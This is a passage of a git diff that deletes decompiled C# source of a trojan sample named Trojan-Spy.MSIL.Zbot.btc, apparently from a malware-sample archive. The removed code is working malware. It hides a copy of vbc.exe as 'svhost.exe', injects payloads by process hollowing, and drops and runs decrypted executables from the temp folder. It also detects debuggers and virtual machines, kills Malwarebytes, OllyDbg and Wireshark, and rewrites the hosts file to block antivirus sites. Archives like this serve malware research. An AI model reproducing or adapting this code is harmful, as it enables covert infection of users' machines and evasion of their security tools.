Encoding.GetEncoding(1252).GetBytes(s1); -label_30: - num3 = 34; - object tempPath2 = (object) Path.GetTempPath(); -label_31: - num3 = 35; - Directory.CreateDirectory(Conversions.ToString(Operators.ConcatenateObject(tempPath2, (object) "winamp"))); -label_32: - num3 = 36; - string VVVVVVCAE = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(tempPath2, (object) "\\"), (object) "winamp"), (object) "\\"), (object) "svhost.exe")); -label_33: - num3 = 37; - string sourceFileName = "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe"; -label_34: - num3 = 38; - string str4 = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(tempPath2, (object) "\\"), (object) "winamp"), (object) "\\"), (object) "svhost.exe")); -label_35: - num3 = 39; - if (File.Exists(str4)) - goto label_37; -label_36: - num3 = 40; - File.Copy(sourceFileName, str4); -label_37: - num3 = 42; - FileAttributes fileAttributes2 = FileAttributes.Hidden | FileAttributes.System; -label_38: - num3 = 43; - File.SetAttributes(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(tempPath2, (object) "\\"), (object) "winamp"), (object) "\\"), (object) "svhost.exe")), fileAttributes2); -label_39: - num3 = 44; - if (pizde.IsProcessRunning4("nothong.exe")) - goto label_41; -label_40: - num3 = 45; - buffy.mickey(DAS4DA3, VVVVVVCAE); -label_41: - num3 = 47; - if (pizde.IsProcessRunning2("%temp%.exe")) - goto label_46; -label_42: - num3 = 48; - if (pizde.IsProcessRunning5("rundll32 .exe")) - goto label_46; -label_43: - num3 = 49; - string temp1 = MyProject.Computer.FileSystem.SpecialDirectories.Temp; -label_44: - num3 = 50; - MyProject.Computer.FileSystem.WriteAllBytes(temp1 + "\\%temp%.exe", data2, false); -label_45: - num3 = 51; - Process.Start(temp1 + "\\%temp%.exe"); -label_46: - num3 = 54; - if (pizde.IsProcessRunning3("%tmp%.exe")) - goto label_50; -label_47: - num3 = 55; - string temp2 = MyProject.Computer.FileSystem.SpecialDirectories.Temp; -label_48: - num3 = 56; - MyProject.Computer.FileSystem.WriteAllBytes(temp2 + "\\%tmp%.exe", data1, false); -label_49: - num3 = 57; - Process.Start(temp2 + "\\%tmp%.exe"); -label_50: - ProjectData.EndApp(); - goto label_57; -label_52: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - case 13: - goto label_11; - case 14: - goto label_12; - case 15: - case 17: - case 18: - goto label_14; - case 16: - goto label_13; - case 19: - goto label_15; - case 20: - goto label_16; - case 21: - goto label_17; - case 22: - goto label_18; - case 23: - goto label_19; - case 24: - goto label_20; - case 25: - goto label_21; - case 26: - goto label_22; - case 27: - goto label_23; - case 28: - goto label_24; - case 29: - goto label_25; - case 30: - goto label_26; - case 31: - goto label_27; - case 32: - goto label_28; - case 33: - goto label_29; - case 34: - goto label_30; - case 35: - goto label_31; - case 36: - goto label_32; - case 37: - goto label_33; - case 38: - goto label_34; - case 39: - goto label_35; - case 40: - goto label_36; - case 41: - case 42: - goto label_37; - case 43: - goto label_38; - case 44: - goto label_39; - case 45: - goto label_40; - case 46: - case 47: - goto label_41; - case 48: - goto label_42; - case 49: - goto label_43; - case 50: - goto label_44; - case 51: - goto label_45; - case 52: - case 53: - case 54: - goto label_46; - case 55: - goto label_47; - case 56: - goto label_48; - case 57: - goto label_49; - case 58: - goto label_50; - case 59: - goto label_57; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_52; - } - throw ProjectData.CreateProjectError(-2146828237); -label_57: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int IsDebuggerPresent(); - - public static void Main2() - { - if (pizde.IsDebuggerPresent() == 1) - Console.WriteLine("Debugger Is Present"); - else - Console.WriteLine("Debugger Not Present"); - } - - private static void HostEdit() - { - StreamWriter streamWriter = new StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\drivers\\etc\\\\hosts"); - streamWriter.Write("127.0.0.1 www.virustotal.com"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 virustotal.com"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 novirusthanks.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 vscan.novirusthanks.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 virusscan.jotti.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 www.virusscan.jotti.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 virscan.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 www.virscan.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 virus-trap.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 www.virus-trap.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 filterbit.com"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 www.filterbit.com"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 viruschief.com"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 www.viruschief.com"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 kaspersky.com"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 www.kaspersky.com"); - streamWriter.Dispose(); - } - - public static bool AntiVirtualBox() - { - int num1; - bool flag; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 2; - pizde.getDevices(); - flag = Operators.CompareString(pizde.Grafikadapter, "VirtualBox Graphics Adapter", false) == 0; - goto label_7; -label_2: - num2 = -1; - switch (num1) - { - case 2: - ProjectData.EndApp(); - goto label_7; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_2; - } - throw ProjectData.CreateProjectError(-2146828237); -label_7: - int num3 = flag ? 1 : 0; - if (num2 == 0) - return num3 != 0; - ProjectData.ClearProjectError(); - return num3 != 0; - } - - public static bool AntiVmWare() - { - int num1; - bool flag; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 2; - pizde.getDevices(); - flag = Operators.CompareString(pizde.Grafikadapter, "VMware SVGA II", false) == 0; - goto label_7; -label_2: - num2 = -1; - switch (num1) - { - case 2: - ProjectData.EndApp(); - goto label_7; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_2; - } - throw ProjectData.CreateProjectError(-2146828237); -label_7: - int num3 = flag ? 1 : 0; - if (num2 == 0) - return num3 != 0; - ProjectData.ClearProjectError(); - return num3 != 0; - } - - public static bool AntiVirtualPC() - { - int num1; - bool flag; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 2; - pizde.getDevices(); - flag = Operators.CompareString(pizde.Grafikadapter, "VM Additions S3 Trio32/64", false) == 0; - goto label_7; -label_2: - num2 = -1; - switch (num1) - { - case 2: - ProjectData.EndApp(); - goto label_7; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_2; - } - throw ProjectData.CreateProjectError(-2146828237); -label_7: - int num3 = flag ? 1 : 0; - if (num2 == 0) - return num3 != 0; - ProjectData.ClearProjectError(); - return num3 != 0; - } - - private static void getDevices() - { - // ISSUE: unable to decompile the method. - } - - public static void AntiMalwarebytes() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "mbam", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void AntiOllydbg() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ollydbg", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void AntiWireshark() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "wireshark", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - private static bool IsProcessRunning2(string name) - { - Process[] processesByName = Process.GetProcessesByName("%temp%"); - int index = 0; - if (index >= processesByName.Length) - { - bool flag; - return flag; - } - return processesByName[index] != null; - } - - private static bool IsProcessRunning3(string name) - { - Process[] processesByName = Process.GetProcessesByName("%tmp%"); - int index = 0; - if (index >= processesByName.Length) - { - bool flag; - return flag; - } - return processesByName[index] != null; - } - - private static bool IsProcessRunning4(string name) - { - Process[] processesByName = Process.GetProcessesByName("nothong"); - int index = 0; - if (index >= processesByName.Length) - { - bool flag; - return flag; - } - return processesByName[index] != null; - } - - private static bool IsProcessRunning5(string name) - { - Process[] processesByName = Process.GetProcessesByName("rundll32 "); - int index = 0; - if (index >= processesByName.Length) - { - bool flag; - return flag; - } - return processesByName[index] != null; - } - - public static byte[] okitokjwe33(byte[] data) - { - using (RijndaelManaged rijndaelManaged = new RijndaelManaged()) - { - rijndaelManaged.IV = new byte[16] - { - (byte) 1, - (byte) 2, - (byte) 3, - (byte) 4, - (byte) 5, - (byte) 6, - (byte) 7, - (byte) 8, - (byte) 9, - (byte) 1, - (byte) 2, - (byte) 3, - (byte) 4, - (byte) 5, - (byte) 6, - (byte) 7 - }; - rijndaelManaged.Key = new byte[16] - { - (byte) 7, - (byte) 6, - (byte) 5, - (byte) 4, - (byte) 3, - (byte) 2, - (byte) 1, - (byte) 9, - (byte) 8, - (byte) 7, - (byte) 6, - (byte) 5, - (byte) 4, - (byte) 3, - (byte) 2, - (byte) 1 - }; - return rijndaelManaged.CreateDecryptor().TransformFinalBlock(data, 0, data.Length); - } - } - - public static byte[] decrypt(byte[] message, string password) - { - byte[] bytes = Encoding.Default.GetBytes(password); - int num1 = (int) message[checked (message.Length - 1)] ^ 112; - byte[] arySrc = new byte[checked (message.Length + 1)]; - int num2 = checked (message.Length - 1); - int index1 = 0; - while (index1 <= num2) - { - int index2; - arySrc[index1] = checked ((byte) ((int) message[index1] ^ num1 ^ (int) bytes[index2])); - if (index2 == checked (password.Length - 1)) - index2 = 0; - else - checked { ++index2; } - checked { ++index1; } - } - return (byte[]) Microsoft.VisualBasic.CompilerServices.Utils.CopyArray((Array) arySrc, (Array) new byte[checked (message.Length - 2 + 1)]); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/MyApplication.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/MyApplication.cs deleted file mode 100644 index 25802b31..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: pauls shit, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 8E229732-87B0-444E-A958-B2E22CE8394A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/MyComputer.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/MyComputer.cs deleted file mode 100644 index f6d2e5a9..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: pauls shit, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 8E229732-87B0-444E-A958-B2E22CE8394A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/MyProject.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/MyProject.cs deleted file mode 100644 index 84f4da21..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: pauls shit, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 8E229732-87B0-444E-A958-B2E22CE8394A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [HideModuleName] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/Trojan-Spy.MSIL.Zbot.btc.csproj b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/Trojan-Spy.MSIL.Zbot.btc.csproj deleted file mode 100644 index f45ac41f..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/Trojan-Spy.MSIL.Zbot.btc.csproj +++ /dev/null @@ -1,46 +0,0 @@ - - - - - Debug - AnyCPU - {25F76A52-CF89-4230-B7AF-7134F6081624} - WinExe - pauls shit - 0.0.0.0 - My - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/Trojan-Spy.MSIL.Zbot.btc.sln b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/Trojan-Spy.MSIL.Zbot.btc.sln deleted file mode 100644 index e7cf7e17..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/Trojan-Spy.MSIL.Zbot.btc.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "pauls shit", "Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf.csproj", "{25F76A52-CF89-4230-B7AF-7134F6081624}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {25F76A52-CF89-4230-B7AF-7134F6081624}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {25F76A52-CF89-4230-B7AF-7134F6081624}.Debug|Any CPU.Build.0 = Debug|Any CPU - {25F76A52-CF89-4230-B7AF-7134F6081624}.Release|Any CPU.ActiveCfg = Release|Any CPU - {25F76A52-CF89-4230-B7AF-7134F6081624}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/buffy.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/buffy.cs deleted file mode 100644 index 09d1de5f..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/buffy.cs +++ /dev/null @@ -1,632 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: buffy -// Assembly: pauls shit, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 8E229732-87B0-444E-A958-B2E22CE8394A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -public class buffy -{ - public const long ASDFASFASF = 2778; - public const long FASFASFASF = 60116; - public const long AFSFASFASCFC = 218; - public const long ASDASCASDASD = 218; - public const long BVCXBXCBXCB = 218; - public const long BXCBXCBXCB = 253; - public const long FSDR3FSF = 218; - public const long KKKKKKKKKDDDDDDD = 17247; - public const uint FSSSSSSSSSSSSSSSSSS = 218; - - public static void mickey(byte[] DAS4DA3, string VVVVVVCAE) - { - object Instance1 = (object) new buffy.Context(); - object obj1 = (object) new buffy.Process_Information(); - object obj2 = (object) new buffy.Startup_Information(); - object obj3 = (object) new buffy.Security_Flags(); - object obj4 = (object) new buffy.Security_Flags(); - object Instance2 = (object) GCHandle.Alloc((object) DAS4DA3, GCHandleType.Pinned); - int integer1 = Conversions.ToInteger(NewLateBinding.LateGet(NewLateBinding.LateGet(Instance2, (Type) null, "AddrOfPinnedObject", new object[0], (string[]) null, (Type[]) null, (bool[]) null), (Type) null, "ToInt32", new object[0], (string[]) null, (Type[]) null, (bool[]) null)); - buffy.DOS_Header dosHeader1 = new buffy.DOS_Header(); - Type Type = typeof (Marshal); - object[] objArray1 = new object[2]; - object[] objArray2 = objArray1; - object Instance3 = Instance2; - object objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(Instance3, (Type) null, "AddrOfPinnedObject", new object[0], (string[]) null, (Type[]) null, (bool[]) null)); - objArray2[0] = objectValue; - objArray1[1] = (object) dosHeader1.GetType(); - object[] objArray3 = objArray1; - object[] Arguments = objArray3; - bool[] flagArray = new bool[2]{ true, false }; - bool[] CopyBack = flagArray; - object obj5 = NewLateBinding.LateGet((object) null, Type, "PtrToStructure", Arguments, (string[]) null, (Type[]) null, CopyBack); - if (flagArray[0]) - NewLateBinding.LateSetComplex(Instance3, (Type) null, "AddrOfPinnedObject", new object[1] - { - RuntimeHelpers.GetObjectValue(objArray3[0]) - }, (string[]) null, (Type[]) null, true, false); - buffy.DOS_Header dosHeader2; - buffy.DOS_Header dosHeader3 = obj5 != null ? (buffy.DOS_Header) obj5 : dosHeader2; - NewLateBinding.LateCall(Instance2, (Type) null, "Free", new object[0], (string[]) null, (Type[]) null, (bool[]) null, true); - buffy.GN04L0ER8I gn04L0Er8I1 = buffy.TXXY5U8D2U("kernel32", "CreateProcessA"); - buffy.R84OY4NT36 r84Oy4Nt36_1 = buffy.TXXY5U8D2U("kernel32", "GetThreadContext"); - buffy.Q7QRRP639W q7QrrP639W1 = buffy.TXXY5U8D2U("kernel32", "ReadProcessMemory"); - buffy.ZGOQ8VM05M zgoQ8Vm05M1 = buffy.TXXY5U8D2U("kernel32", "WriteProcessMemory"); - buffy.EFVI2YI66B efvI2Yi66B1 = buffy.TXXY5U8D2U("ntdll", "ZwUnmapViewOfSection"); - buffy.W6CTR6GLCC w6CtR6Glcc1 = buffy.TXXY5U8D2U("kernel32", "VirtualAllocEx"); - buffy.K7B3INYH01 k7B3InyH01_1 = buffy.TXXY5U8D2U("kernel32", "SetThreadContext"); - buffy.WS2XVBNVO9 ws2XvbnvO9_1 = buffy.TXXY5U8D2U("kernel32", "ResumeThread"); - buffy.GN04L0ER8I gn04L0Er8I2 = gn04L0Er8I1; - string DASDAS3E2_1 = VVVVVVCAE; - object obj6 = obj3; - buffy.Security_Flags securityFlags1; - buffy.Security_Flags securityFlags2 = obj6 != null ? (buffy.Security_Flags) obj6 : securityFlags1; - ref buffy.Security_Flags local1 = ref securityFlags2; - object obj7 = obj4; - buffy.Security_Flags securityFlags3 = obj7 != null ? (buffy.Security_Flags) obj7 : securityFlags1; - ref buffy.Security_Flags local2 = ref securityFlags3; - IntPtr num1; - IntPtr DSA43R3W1 = num1; - object obj8 = obj2; - buffy.Startup_Information startupInformation1; - buffy.Startup_Information startupInformation2 = obj8 != null ? (buffy.Startup_Information) obj8 : startupInformation1; - ref buffy.Startup_Information local3 = ref startupInformation2; - object obj9 = obj1; - buffy.Process_Information processInformation1; - buffy.Process_Information processInformation2 = obj9 != null ? (buffy.Process_Information) obj9 : processInformation1; - ref buffy.Process_Information local4 = ref processInformation2; - int num2 = gn04L0Er8I2((string) null, DASDAS3E2_1, ref local1, ref local2, false, 4U, DSA43R3W1, (string) null, ref local3, out local4) ? 1 : 0; - object obj10 = (object) processInformation2; - object Instance4 = (object) startupInformation2; - object obj11 = (object) securityFlags3; - object obj12 = (object) securityFlags2; - if (-((uint) num2 > 0U ? 1 : 0) == 0) - return; - buffy.NT_Headers ntHeaders1 = new buffy.NT_Headers(); - IntPtr ptr = new IntPtr(checked (integer1 + dosHeader3.DASE3ASDAS)); - object structure1 = Marshal.PtrToStructure(ptr, ntHeaders1.GetType()); - buffy.NT_Headers ntHeaders2; - buffy.NT_Headers ntHeaders3 = structure1 != null ? (buffy.NT_Headers) structure1 : ntHeaders2; - NewLateBinding.LateSet(Instance4, (Type) null, "CSZE", new object[1] - { - (object) Strings.Len(RuntimeHelpers.GetObjectValue(Instance4)) - }, (string[]) null, (Type[]) null); - NewLateBinding.LateSet(Instance1, (Type) null, "II69TOHMUR", new object[1] - { - (object) 65539 - }, (string[]) null, (Type[]) null); - if (ntHeaders3.SSSSSSSSSSSQ != 17744U | dosHeader3.DASDASFASF != (ushort) 23117) - return; - buffy.GN04L0ER8I gn04L0Er8I3 = gn04L0Er8I1; - string DASDAS3E2_2 = VVVVVVCAE; - object obj13 = obj12; - securityFlags2 = obj13 != null ? (buffy.Security_Flags) obj13 : securityFlags1; - ref buffy.Security_Flags local5 = ref securityFlags2; - object obj14 = obj11; - securityFlags3 = obj14 != null ? (buffy.Security_Flags) obj14 : securityFlags1; - ref buffy.Security_Flags local6 = ref securityFlags3; - IntPtr DSA43R3W2 = num1; - object obj15 = Instance4; - startupInformation2 = obj15 != null ? (buffy.Startup_Information) obj15 : startupInformation1; - ref buffy.Startup_Information local7 = ref startupInformation2; - object obj16 = obj10; - processInformation2 = obj16 != null ? (buffy.Process_Information) obj16 : processInformation1; - ref buffy.Process_Information local8 = ref processInformation2; - int num3 = gn04L0Er8I3((string) null, DASDAS3E2_2, ref local5, ref local6, false, 4U, DSA43R3W2, (string) null, ref local7, out local8) ? 1 : 0; - object Instance5 = (object) processInformation2; - object obj17 = (object) startupInformation2; - object obj18 = (object) securityFlags3; - object obj19 = (object) securityFlags2; - if (-((uint) num3 > 0U ? 1 : 0) == 0) - return; - buffy.R84OY4NT36 r84Oy4Nt36_2 = r84Oy4Nt36_1; - object obj20 = NewLateBinding.LateGet(Instance5, 